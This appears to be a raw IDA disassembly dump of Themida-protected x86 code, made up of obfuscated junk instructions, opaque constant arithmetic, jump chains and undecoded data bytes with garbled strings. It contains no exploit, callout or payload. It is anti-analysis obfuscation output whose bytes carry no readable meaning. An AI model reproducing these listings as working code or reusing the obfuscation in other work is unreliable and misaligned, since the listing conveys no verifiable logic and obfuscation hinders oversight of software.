sub ebx, 4
jmp loc_564B90
; ---------------------------------------------------------------------------
dd 4BEh, 24740100h, 348B5E04h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5572A2
; ---------------------------------------------------------------------------
loc_552829: ; CODE XREF: Themida_:0056038Bj
sub esp, 4
mov [esp], ebx
jmp loc_554F57
; ---------------------------------------------------------------------------
loc_552834: ; CODE XREF: Themida_:0055BBC1j
test ecx, eax
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_55283C: ; CODE XREF: Themida_:0055F486j
and ebp, 5FD05B9Fh
xor ebp, 6F687B74h
jmp loc_564EAF
; ---------------------------------------------------------------------------
db 68h, 0C5h, 53h
dd 0F75A012Bh, 0F50BE9DAh, 0C5810000h, 49326F06h, 156FE9h
dd 0C7814700h, 7B680CB5h, 0D15BE9h, 1EF8100h, 81000000h
dd 0A63EBC7h, 0B95147BAh, 48DB6EEDh, 55E9D9F7h, 460000CCh
dd 81E38953h, 4C3h, 15556800h, 4890000h, 0E929E924h, 0EA81FFFFh
dd 103219DFh, 0C281DA01h, 103219DFh, 0FFEEFDE9h, 48B66FFh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
mov [esp], esi
mov esi, 62045246h
push edx
mov edx, 210B0B18h
jmp loc_561100
; ---------------------------------------------------------------------------
db 0B6h, 2Ah, 0
dd 24148BF0h, 2C04C483h, 240C8B77h, 0E9E18951h, 71C3h
dd 43E9CA89h
db 0F9h, 2 dup(0FFh)
aM0Hr db '¬0Øhr-',0 ; DATA XREF: Themida_:0054FE7Co
dw 0E900h
dd 2AC1h, 5B7012BDh, 0E9E80131h, 122C1h, 5A241429h, 0C39DE9h
db 0
; ---------------------------------------------------------------------------
loc_552915: ; CODE XREF: Themida_:0054FF49j
pop edx
mov esi, eax
jmp loc_55C3A3
; ---------------------------------------------------------------------------
aBaM1sss db 'íĬÈÉ1èésÝ',0
align 2
dw 3C87h
dd 24248B24h, 0C8B60F66h, 5BBE68h, 241C8900h, 2434FF54h
dd 83241C8Bh, 0EC8104C4h, 4, 89240489h, 405E0h, 0F1E90000h
db 98h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55295B: ; CODE XREF: Themida_:0055A27Ej
pop eax
push eax
mov eax, 5808189Eh
neg eax
add eax, 0A69F5750h
sub ebx, eax
mov eax, [esp]
add esp, 4
jmp loc_564921
; ---------------------------------------------------------------------------
dw 895Ch
dd 0CCB22414h, 0E91FC280h, 27E0h
; ---------------------------------------------------------------------------
loc_552984: ; CODE XREF: Themida_:0055C69Aj
mov ebp, 66482069h
dec ebp
sub ebp, 0DC478059h
add ebx, ebp
pop ebp
add ecx, ebx
jmp loc_562A76
; ---------------------------------------------------------------------------
loc_55299A: ; CODE XREF: Themida_:005632F8j
mov ebx, [esp]
push ebp
mov ebp, esp
jmp loc_55DF6C
; ---------------------------------------------------------------------------
db 5Eh, 81h, 0C2h
dd 0B60D32DEh, 148BD631h, 99AE924h, 0C2810001h, 151B59C5h
dd 0EA81F201h, 151B59C5h, 547EA81h, 875E34B4h, 0A5E92414h
dd 87000043h, 815C2404h, 4C7h, 0C0CAE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55B93F
; ---------------------------------------------------------------------------
loc_5529EA: ; CODE XREF: Themida_:005584CEj
xchg ecx, [esp]
mov esp, [esp]
sub edi, 3BE528C6h
jmp loc_562E7C
; ---------------------------------------------------------------------------
loc_5529FB: ; CODE XREF: Themida_:0055FF45j
shr ebp, 2
shl ebp, 4
shl ebp, 5
and ebp, 4A476580h
jmp loc_55EF3D
; ---------------------------------------------------------------------------
db 5Bh
dd 592434FFh, 124CBE9h, 59585100h, 81242C8Bh, 4C4h, 52BCE900h
dd 56BB0000h, 3154D67Dh, 0CF815BDFh, 5F8D7DEEh, 0E908EFC1h
dd 3757h
; ---------------------------------------------------------------------------
loc_552A40: ; CODE XREF: Themida_:00558950j
xchg ebx, [esp]
jmp loc_56447F
; ---------------------------------------------------------------------------
dword_552A48 dd 582434FFh, 32E668h, 24348900h, 0C6815E54h, 4, 27FB68h
; DATA XREF: Themida_:0054FD38o
dd 24148900h, 4EC8153h, 89000000h, 0C2BD242Ch, 83674259h
dd 4DE904ECh, 81FFFFFBh, 1D2F52EEh, 0D586E903h, 0C481FFFFh
dd 4, 5304E1C1h, 0FFFFFFBBh, 5BD929FFh, 0EF65E9h
db 0
; ---------------------------------------------------------------------------
loc_552A9D: ; CODE XREF: Themida_:00560712j
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_553096
; ---------------------------------------------------------------------------
db 5Ch, 66h, 89h
dd 89572414h, 4C781E7h, 0E9000000h, 0F2F4h, 2B0B68h, 241C8900h
dd 681F6866h, 24148966h, 2AE956B2h, 5D000089h, 2773EB81h
dd 1DE96741h, 810000BAh, 0B04246Ch, 13B997Ah, 8104245Ch
dd 0B042444h, 813B997Ah, 2E04246Ch, 5B1CB31Ch, 91242C81h
dd 52170D64h, 0B7CC4BAh, 2454291Ah, 2C815A04h, 0E2708824h
dd 24040134h, 88240481h, 8134E270h, 7CC42404h, 0BA521A0Bh
dd 170D6491h, 4244481h, 630644CBh, 4246C81h, 3B902AC3h
dd 4245401h, 4244481h, 3B902AC3h, 4246C81h, 630644CBh
dd 100A3E9h, 48F5B00h, 24895C24h, 24048124h, 4, 0F596E9h
dd 24048900h, 0C046E9h, 2454F600h, 240C8B01h, 0C4FAE9h
db 0
byte_552B81 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FC80o
aH7 db '$hÁ7',0
align 2
aS_5 db 'éœØ',0
dw 0F700h
dd 3EAC1DAh, 1C281h, 0EA810000h, 0D4437C83h, 815AD329h
dd 0D06A85C3h, 81FB2932h, 0D06A85EBh, 4EC8132h, 89000000h
dd 23BD242Ch, 814B8347h, 245AF9C3h, 0C9EB8167h, 11E9E04h
dd 0C9C381EBh, 811E9E04h, 245AF9EBh, 2434FF67h, 46D4E9h
dd 0DC043500h, 0C2019EABh, 5624048Bh, 0C681E689h, 4, 0F976E9h
dd 665B6600h, 2244481h, 0BAE91D39h, 520000CBh, 7DBCE9h
dd 558B0500h, 0C521BDFDh, 0FF65E9h, 0F6C4FE00h, 0FA70E9DCh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552C22: ; CODE XREF: Themida_:0055477Dj
add esi, ecx
pop ecx
add esi, ebp
sub esi, 66170CBDh
pop ebp
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_550B74
; ---------------------------------------------------------------------------
db 66h
dd 66C8AF0Fh, 0D0E99C51h, 89FFFFD2h, 5DEB89FDh, 0A2BF575Fh
dd 310B1D37h, 0F8E5E9FBh
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55ED52
; ---------------------------------------------------------------------------
db 31h, 0C6h, 8Bh
dd 0E9532404h, 0CBF6h, 9C7E42B9h, 0F0C98103h, 0C14E4B63h
dd 494104E1h, 0AB1CC181h, 0CF29F48Dh, 6143E9h, 1DACBD00h
dd 0ED8161C6h, 0DBDB5D3h, 15DEA29h, 0BDE95AD1h, 0B900011Dh
dd 667E1B91h, 0C1D1F741h, 0BA5207E9h, 16A33C67h, 8724E9h
dd 0C4835B00h, 4C48304h, 0D86EE9h
db 0
; ---------------------------------------------------------------------------
loc_552CD1: ; CODE XREF: Themida_:00558FF1j
push edi
push ebx
push 7FA61A18h
pop ebx
jmp loc_564AD6
; ---------------------------------------------------------------------------
dw 0EE83h
dd 24348704h, 242C895Ch, 0AAE9E589h, 8300005Eh, 3C8904ECh
dd 23E95B24h, 830000DBh, 0E80104C4h, 8B2434FFh, 0C483242Ch
dd 3077E904h, 55590000h, 4BDh, 159BE900h, 0B1350000h, 0C12F0B49h
dd 0BA5202E8h, 62793D0Eh, 2D5AD029h, 0FFFFFFFFh, 0F2A8BD05h
dd 0E9C30143h, 0F387h
; ---------------------------------------------------------------------------
loc_552D3C: ; CODE XREF: Themida_:005532FDj
push edi
mov edi, 2F2572C0h
mov ebp, edi
pop edi
push esi
mov esi, 6C2D7FA3h
not esi
xor esi, 0C1B2A41Ah
xor ebp, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
xor ebp, 7D455682h
add ecx, ebp
pop ebp
jmp loc_5616B3
; ---------------------------------------------------------------------------
aS8 db '^é8Ã',0
dw 0FF00h
db 34h, 24h, 58h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_55D072
; ---------------------------------------------------------------------------
loc_552DB0: ; CODE XREF: Themida_:00561259j
mov edi, 7BE10380h
dec edi
and edi, 26FF345Eh
jmp loc_555C75
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 81E18951h, 4C1h, 0A295E900h, 4D4D0000h, 541CF581h, 0EE810B6Dh
dd 206B3BBDh, 0C681EE01h, 206B3BBDh, 2EE835Dh, 31243433h
dd 34332434h, 0DD0AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552DFA: ; CODE XREF: Themida_:0055BA73j
add ebp, 4
push edx
mov edx, 2E7F66FFh
not edx
or edx, 5D621FF9h
not edx
xor edx, 0BD92A55h
add edx, 0D63BB5B1h
jmp loc_55EDE4
; ---------------------------------------------------------------------------
loc_552E21: ; CODE XREF: Themida_:00563E1Bj
mov edx, 783A5DA3h
jmp loc_55AA77
; ---------------------------------------------------------------------------
loc_552E2B: ; CODE XREF: Themida_:0055D5D4j
mov edi, 0B9714B6h
mov ebx, 26BD5EA8h
xor ebx, edi
pop edi
jmp loc_55175F
; ---------------------------------------------------------------------------
db 89h, 0C6h, 8Bh
dd 54562404h, 0FFD35CE9h, 0E96EB1FFh, 0C210h, 0B6B1B753h
dd 9CB353CEh, 0AD25E9h
db 0
; ---------------------------------------------------------------------------
loc_552E5D: ; CODE XREF: Themida_:00557D9Cj
and eax, ecx
pop ecx
or eax, eax
jmp loc_551E45
; ---------------------------------------------------------------------------
db 88h
dd 58E188FCh, 81241C8Bh, 4C4h, 5F9E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552E7A: ; CODE XREF: Themida_:0055DF22j
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_55047D
; ---------------------------------------------------------------------------
db 89h, 0E3h, 0E9h
dd 0FD22h
; ---------------------------------------------------------------------------
loc_552E90: ; CODE XREF: Themida_:00562E84j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5546D7
; ---------------------------------------------------------------------------
loc_552E9C: ; CODE XREF: Themida_:00564A5Dj
add ecx, 4
xchg ecx, [esp]
pop esp
xor eax, 253D136Ah
neg eax
add eax, 0FFFFFFFFh
push edi
mov edi, 2CFA6565h
add eax, edi
pop edi
mov edx, eax
pop eax
push eax
mov eax, edx
mov ebx, eax
pop eax
jmp loc_55DC01
; ---------------------------------------------------------------------------
loc_552EC6: ; CODE XREF: Themida_:005575C2j
add esp, 4
push cx
sub esp, 4
jmp loc_555A92
; ---------------------------------------------------------------------------
loc_552ED9: ; CODE XREF: Themida_:0055BB92j
add edi, 1813221Fh
sub edi, 2B9B7BA4h
add edi, ebp
add edi, 2B9B7BA4h
jmp loc_557AD7
; ---------------------------------------------------------------------------
loc_552EF2: ; CODE XREF: Themida_:00563D62j
mov dl, 14h
add bl, dl
pop edx
sub bl, 57h
sub bl, 0F6h
add bl, al
add bl, 0F6h
push edx
mov dl, 17h
add dl, 40h
jmp loc_554D06
; ---------------------------------------------------------------------------
loc_552F0D: ; CODE XREF: Themida_:00561A7Ej
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55962D
; ---------------------------------------------------------------------------
dw 0EB2Dh
dd 5F581657h, 48BC701h, 4C48124h, 0E9000000h, 0D4BAh
; ---------------------------------------------------------------------------
loc_552F30: ; CODE XREF: Themida_:00553653j
xor ebx, 9653003h
push eax
mov eax, 1FE24A8Fh
jmp loc_550E37
; ---------------------------------------------------------------------------
db 54h, 0E9h, 3Ah
dd 81FFFFFEh, 4ECh, 243C8900h, 0EC1F98BFh, 5A0EE92Dh, 0C2810000h
dd 6CE57693h, 0EA81DA01h, 6CE57693h, 0E9241C8Bh, 31D9h
dd 0C15FFB01h, 28E906E3h, 0B800007Eh, 4, 4244481h, 5BCB14CAh
dd 4244401h, 0CBC2E9h, 0EE095800h, 11379E9h
db 0
; ---------------------------------------------------------------------------
loc_552F99: ; CODE XREF: Themida_:0055E971j
sub edx, esi
mov esi, [esp]
add esp, 4
sub eax, 27F4C38h
jmp loc_55A913
; ---------------------------------------------------------------------------
db 5Eh
dd 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 9F055C24h
dd 57ADC5Ch, 10EB6BE5h, 0A643E705h, 2DF80158h, 58A643E7h
dd 3426BD55h, 81455F50h, 435174F5h, 6EED8152h, 5FC27F9h
dd 50D0273h, 0B951E829h, 7BC84ECDh, 3AA8E181h, 76E915AFh
dd 0F7000029h, 0E9592414h, 0DC09h
; ---------------------------------------------------------------------------
loc_55300C: ; CODE XREF: Themida_:00561D97j
add ebp, 4B6777CFh
pop edx
add ebp, 5A2644CDh
sub ebp, 0DFB6CE39h
xor ecx, ebp
pop ebp
mov ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55E1B0
; ---------------------------------------------------------------------------
dw 34FFh
dd 7BF1E924h, 248B0000h, 0F873E924h
db 2 dup(0FFh)
word_553042 dw 48Bh ; DATA XREF: Themida_:0054FD94o
aVsU db '$Véµu',0
dw 0B900h
dd 4, 4244C01h, 0FE37E9h, 0C6805C00h, 41EE80FDh, 0DE9EE00h
dd 0F7000068h, 57C381DBh, 810534C2h, 0C44ECAEDh, 0B2ED8113h
dd 8142A661h, 0A2702BEDh, 81DD0138h, 0A2702BC5h, 0ABB5338h
dd 0F734D723h, 9AC1E9DBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553096: ; CODE XREF: Themida_:00552AA8j
add ebx, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_565087
; ---------------------------------------------------------------------------
db 52h
dd 0C281E289h, 4, 8704C283h, 525C2414h, 0D555E9h
db 0
; ---------------------------------------------------------------------------
loc_5530C9: ; CODE XREF: Themida_:00564AE2j
sub ebx, 0F49DBB7Ah
mov edi, ebx
pop ebx
sub ebx, edi
pop edi
sub ebx, 206E086Bh
add ecx, ebx
pop ebx
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5533DE
; ---------------------------------------------------------------------------
loc_5530F5: ; CODE XREF: Themida_:00554202j
sub esp, 4
mov [esp], edx
mov edx, 7E7742B0h
jmp loc_554B9D
; ---------------------------------------------------------------------------
db 0BEh, 84h, 77h
dd 0C68152C1h, 2D4048EBh, 8102E6C1h, 0CA35EACEh, 7EEC13Bh
dd 0EC81D6F7h, 4, 0BD242C89h, 4B3F4A55h, 100EAE9h, 240C8B00h
dd 4C481h, 0EC810000h, 4, 0E9243C89h, 15AFh, 4C181h, 0BD550000h
dd 4, 9533E9h
db 0
; ---------------------------------------------------------------------------
loc_553159: ; CODE XREF: Themida_:0055D86Fj
and ecx, 70D67A34h
xor ecx, 40945004h
add ebx, ecx
pop ecx
jmp loc_564124
; ---------------------------------------------------------------------------
db 50h, 54h, 58h
dd 405h, 4C08300h, 5C240487h, 0E924048Bh, 54C7h, 6B1ABE56h
dd 0BD553955h, 5FF86EFEh, 525DEE31h, 12032E9h
db 0
; ---------------------------------------------------------------------------
loc_553199: ; CODE XREF: Themida_:0055D0D3j
add ebx, eax
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push 5F19h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_5547C7
push edx
sub esp, 4
mov [esp], esp
jmp loc_5577CD
; ---------------------------------------------------------------------------
loc_5531D8: ; CODE XREF: Themida_:00556C9Aj
push eax
push small 69E5h
mov [esp], bx
mov bl, 0E6h
mov al, bl
mov bx, [esp]
add esp, 2
jmp loc_55FB60
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 83240489h, 8F5404ECh, 0BD552404h, 4, 4246C81h, 6A0759A4h
dd 4246C01h, 4244481h, 6A0759A4h, 24048B5Dh, 504C483h
dd 4, 4F2068h, 24348900h, 165606BEh, 75C6813Fh, 0C16D897Dh
dd 0C68108E6h, 34953328h, 0E2A6F681h, 0CE81C9B4h, 11D720C8h
dd 11E4AE9h, 4CC68100h, 0FF6DB91Ch, 83582434h, 0FF5604C4h
dd 8B042474h, 0C4812434h, 4, 0FFCFB2E9h, 240489FFh, 2474FF55h
dd 242C8B04h, 30C5E951h, 0CA870000h, 0CA31D1F7h, 0CA31D131h
dd 0FFDA81E9h, 0FBBE56FFh, 6841ED3Eh, 6B5h, 0BB241C89h
dd 113A7496h, 242C8B53h, 4C481h, 575B0000h, 0CB6D70BFh
dd 66B85036h, 2D010D73h, 5C1277A1h, 1345B951h, 0F181043Ch
dd 75423B52h, 2D59C831h, 0E410345Ch, 0E958C701h, 54AAh
dd 74FF515Fh, 8F590424h, 248B2404h, 0E810E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5532EE: ; CODE XREF: Themida_:00550F30j
or dh, 0D9h
sub dh, 1
not dh
push eax
jmp loc_5575B5
; ---------------------------------------------------------------------------
loc_5532FC: ; CODE XREF: Themida_:0055646Cj
push ebp
jmp loc_552D3C
; ---------------------------------------------------------------------------
dw 0FD89h
dd 5F5DE889h, 0FFE249E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55330D: ; CODE XREF: Themida_:00563271j
dec edx
add edx, 0D38920C7h
mov ebx, edx
pop edx
jmp loc_55C1FA
; ---------------------------------------------------------------------------
dd 72E9E389h, 830000FFh, 0C3304E9h, 240C3124h, 8B240C33h
dd 39E92424h
db 13h, 1, 0
; ---------------------------------------------------------------------------
loc_553337: ; CODE XREF: Themida_:0055A351j
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
and eax, edx
pop edx
shr eax, 0Eh
xor eax, ecx
sub esp, 4
mov [esp], esi
mov esi, esp
push ecx
jmp loc_55ADF5
; ---------------------------------------------------------------------------
dw 3C89h
dd 81E78924h, 4C7h, 4EF8300h, 0E9243C87h, 0DBB7h
dword_553370 dd 582434FFh, 134268h, 24348900h, 24348B54h, 4C481h, 77680000h
; DATA XREF: Themida_:0054FEC8o
dd 89000043h, 4BBA2414h, 0F76F4F4Eh, 4EC83DAh, 0B9240C89h
dd 0FFFFFFFFh, 8359CA01h, 148904ECh, 2414F724h, 8124148Bh
dd 4C4h, 47EA8100h, 816F4F4Eh, 276597EEh, 81D60163h, 276597C6h
dd 0E13DE963h, 44E90000h, 0FFFFFFCBh, 2C8B2434h, 0C98E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5533DE: ; CODE XREF: Themida_:005530F0j
sub esp, 4
mov [esp], ecx
push 4503h
jmp loc_55D02A
; ---------------------------------------------------------------------------
loc_5533F1: ; CODE XREF: Themida_:00561B7Ej
pop esp
push 1CE5h
mov [esp], esi
mov esi, 2
push ebx
jmp loc_55C60C
; ---------------------------------------------------------------------------
loc_553405: ; CODE XREF: Themida_:00560698j
mov edx, 0B67A9AA5h
push eax
mov eax, 656C5C69h
not eax
add eax, 43A6125Fh
neg eax
xor eax, 6B55DB5h
sub eax, 0DCC7122Fh
jmp loc_562239
; ---------------------------------------------------------------------------
loc_553428: ; CODE XREF: Themida_:00562508j
push ebp
jmp loc_550895
; ---------------------------------------------------------------------------
loc_55342E: ; CODE XREF: Themida_:00563C87j
push dword ptr [esp+4]
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_551199
; ---------------------------------------------------------------------------
db 81h
dd 7A901F7h, 8BFE29E2h, 8957243Ch, 43BA52E7h, 0E937BE20h
dd 87BAh
; ---------------------------------------------------------------------------
loc_55345C: ; CODE XREF: Themida_:00561BFDj
xchg esi, [esp]
pop esp
mov [esp], ebp
pop eax
mov ebp, [esp]
sub esp, 4
mov [esp], ebp
push ebp
jmp loc_564AE7
; ---------------------------------------------------------------------------
aXSSs db ',X(ÈS³*éS»',0
dw 3300h
dd 3C31243Ch, 243C3324h, 24048F5Ch, 48B665Ch, 0E2895224h
dd 3239E957h, 89660000h, 17E92404h, 8F00011Dh, 248B2404h
dd 0C8B6624h, 4EC8124h, 89000000h, 0E389241Ch, 5F9068h
dd 24348900h, 4BEh, 0A8BA5200h, 8174E02Ch, 0DE7275CAh
dd 0B768503Bh, 0E96A1C3Fh, 43CEh, 0E9241C89h, 0C90Dh, 24048F5Ah
dd 243C895Ch, 2BFh, 0E9FB0100h, 0A808h, 54CC68h, 240C8900h
dd 8823E9h
db 0
; ---------------------------------------------------------------------------
loc_553505: ; CODE XREF: Themida_:0055FE52j
mov ebx, [esp]
add esp, 4
jmp loc_551C53
; ---------------------------------------------------------------------------
loc_553513: ; CODE XREF: Themida_:00554BB6j
push edi
mov edi, 2420DFD9h
xor eax, edi
pop edi
jmp loc_56169B
; ---------------------------------------------------------------------------
db 0BBh, 48h, 23h
dd 0DBF76C87h, 4FD8C381h, 0EB8164A9h, 0A0F42B94h, 0F8EB81h
dd 0C181572Eh, 0B1D1F55h, 0F65CE9h
db 0
; ---------------------------------------------------------------------------
loc_553545: ; CODE XREF: Themida_:005633E9j
mov [esp], edi
push eax
mov eax, esp
add eax, 4
jmp loc_5624CC
; ---------------------------------------------------------------------------
byte_553555 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FE80o
aXhi0 db 'Xhˆ0',0
align 2
dw 0C89h
aSE db '$éìE',0
align 2
dw 5053h
dd 0E788D488h, 0FB7DE9h, 0E9E95300h, 550000D0h, 0C5815D54h
dd 4, 8704ED83h, 0E95C242Ch, 0FFFFC9C8h, 0E96DF180h, 9066h
dword_553594 dd 240C8B66h, 52E68956h, 7C73E9h ; DATA XREF: Themida_:0054FE10o
db 0
byte_5535A1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE24o
dd 4EC8324h, 68243C89h, 5FE0h, 24048F54h, 0B54FE9h
db 0
; ---------------------------------------------------------------------------
loc_5535B9: ; CODE XREF: Themida_:00561D19j
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5616E1
; ---------------------------------------------------------------------------
dd 66240489h, 0ADB15152h, 0E980D1F6h, 20E18078h, 0E943E180h
dd 0B643h
; ---------------------------------------------------------------------------
loc_5535F0: ; CODE XREF: Themida_:00560E32j
sub eax, edi
add eax, 22E64288h
mov edi, [esp]
add esp, 4
jmp loc_55B954
; ---------------------------------------------------------------------------
loc_553605: ; CODE XREF: Themida_:00559E1Fj
sub ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_5655E0
; ---------------------------------------------------------------------------
dd 0E9240C89h, 0E0EBh
; ---------------------------------------------------------------------------
loc_553618: ; CODE XREF: Themida_:0055D6C9j
mov [esp], ecx
mov ecx, 1DD15AB4h
mov ebx, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
not ebx
and ebx, 58C3079Dh
jmp loc_55E68E
; ---------------------------------------------------------------------------
loc_553645: ; CODE XREF: Themida_:00557E0Ej
add ecx, 3D80B5E5h
and ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_552F30
; ---------------------------------------------------------------------------
dd 51241489h, 48B15153h, 0C8BCF88h, 4C48324h, 521EF780h
dd 0F588FE88h, 0CC25E9h
db 0
byte_553675 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FDB4o
dd 6658669Dh, 9C240411h, 848DE9h, 8BEF0000h, 0C483240Ch
dd 0DCCE904h, 89560001h, 4C681E6h, 81000000h, 4C6h, 24348700h
dd 70B9685Ch, 51E90000h, 8900004Bh, 56B02404h, 789868h
dd 24048900h, 8B241CF6h, 0F3E92404h, 0BB00009Eh, 7E014C0Ah
dd 0E95BDA01h, 0AF72h, 835AD789h, 0C78101EFh, 217605E9h
dd 3ECF81h, 0EF8136C1h, 6B31A80h, 3FECC381h, 0FB290DB2h
dd 3FECEB81h, 5E5F0DB2h, 8704C383h, 248B241Ch, 2434FF24h
dd 0FFE073E9h, 0C805E9FFh, 525DFFFFh, 42474FFh, 24048F5Ah
dd 5024248Bh, 405E089h, 2D000000h, 4, 31240433h, 4332404h
dd 2D19E924h, 0E95A0000h, 0FCC4h, 0BD242C89h, 7F8804ECh
dd 0F707EDC1h, 0FFED81DDh, 0C1FFFFFFh, 0C58105EDh, 6B37D25h
dd 0D961F581h, 0E8292765h, 0FFD6C6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553769: ; CODE XREF: Themida_:005557E8j
xor eax, ebx
pop ebx
sub esp, 4
mov [esp], esi
push 5EBEh
jmp loc_55C7F9
; ---------------------------------------------------------------------------
loc_55377C: ; CODE XREF: Themida_:00556EEDj
mov ebp, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
and [edi+1Ch], ecx
pop ecx
jmp loc_55741E
; ---------------------------------------------------------------------------
dd 700C681h, 0C601172Ch, 10A94E9h, 81E28900h, 4C2h, 4EA8300h
dd 31241433h, 14332414h, 0A6685C24h, 89000028h, 0F4E92424h
dd 0B9000025h, 4, 4244481h, 5ABB6608h, 95F9E9h, 24348900h
dd 4BEh, 5EF20100h, 8B241487h, 66682424h, 89000053h, 0E989240Ch
dd 0FFF224E9h, 82C181FFh, 89DE0324h, 0ECE959C8h, 4B000117h
dd 0E907EBC1h, 0FE3Dh
; ---------------------------------------------------------------------------
loc_55380C: ; CODE XREF: Themida_:0055D443j
pop edx
add ch, dl
sub ch, 45h
jmp loc_55A880
; ---------------------------------------------------------------------------
loc_553817: ; CODE XREF: Themida_:0055FA27j
push edi
mov edi, esp
add edi, 4
jmp loc_55D0EE
; ---------------------------------------------------------------------------
loc_553825: ; CODE XREF: Themida_:00559A1Fj
add eax, 1B072DDBh
sub eax, 5F151818h
pop ecx
push edi
push ecx
jmp loc_550172
; ---------------------------------------------------------------------------
loc_553837: ; CODE XREF: Themida_:0056221Bj
mov [esp], ebx
pop edi
pop ebx
pop ecx
push ecx
push ebp
mov ebp, 0B9BC6505h
mov ecx, ebp
pop ebp
push ecx
pop eax
pop ecx
sub eax, edi
jmp loc_561913
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0B8502434h, 38A45A48h, 0C104E0C1h, 0E94004E0h
dd 0EE4Fh, 8B20840Fh, 0E9520000h, 0FFFFFF29h, 0C9E9E789h
dd 8100009Bh, 0D5C693C1h, 0E410E922h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55388A: ; CODE XREF: Themida_:0056174Bj
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
jmp loc_55C99A
; ---------------------------------------------------------------------------
loc_553896: ; CODE XREF: Themida_:005522D6j
push esp
mov ecx, [esp]
jmp loc_555861
; ---------------------------------------------------------------------------
db 89h
dd 1BE2434h, 29000000h, 0E2815EF2h, 1B7F32CBh, 7355F281h
dd 0EC837C50h, 240C8904h, 3D0E42B9h, 59CA3127h, 148BD509h
dd 4C48124h, 0E9000000h, 10B50h, 0E92DF180h, 0A9F1h, 0E3C280h
dd 0E3EA80DAh, 52241C8Bh, 0C281E289h, 4, 8704C283h, 5C2414h
dd 2434FFD0h, 8324148Bh, 0C48104C4h, 4, 652CD800h, 0C0D0B353h
dd 0CBFE02E3h, 3C2068h, 24048900h, 0CC86DCB4h, 50E9D1F6h
dd 29000053h, 164568F0h, 0C890000h, 9FBAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553936: ; CODE XREF: Themida_:00555D08j
mov esi, ebx
jmp loc_559657
; ---------------------------------------------------------------------------
aLSn db '‹,$é"',0
dd 5DE90100h, 4C181h, 0C870000h, 3BD7E924h, 0D0290000h
dd 0DF7AF705h, 24148B62h, 5E08950h, 4, 405h, 24048700h
dd 512D5Ch
db 0A0h, 74h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 0F8A127Bh
push edx
not dword ptr [esp]
pop edx
push edi
jmp loc_561F81
; ---------------------------------------------------------------------------
dd 0F04A4B0h, 4EC8351h, 0D68FE9h, 4C48100h, 0E9000000h
dd 0FD22h
; ---------------------------------------------------------------------------
loc_5539A8: ; CODE XREF: Themida_:0055200Ej
mov ch, 16h
sub bl, 6Eh
add bl, ch
add bl, 6Eh
pop ecx
push cx
mov cl, 41h
jmp loc_565447
; ---------------------------------------------------------------------------
dword_5539BC dd 0E924048Bh, 0F5E7h ; DATA XREF: Themida_:0054FCA8o
dword_5539C4 dd 52D830ACh, 0E280E7B2h, 0D4C2802Ah, 6604E2C0h, 0E94B8768h
; DATA XREF: Themida_:0054FCD4o
dd 0FFFFD08Fh, 0FFC536E9h
db 0FFh
byte_5539E1 db 66h, 8Fh, 2 ; DATA XREF: Themida_:0054FEC4o
dd 0FFC52EE9h, 45D5F7FFh, 0D9E9E5D1h, 0FE00004Bh, 4FF2CC0h
dd 43B7538Ch, 0E7C0D7F6h, 0DCF78007h, 5BF800h, 505158C3h
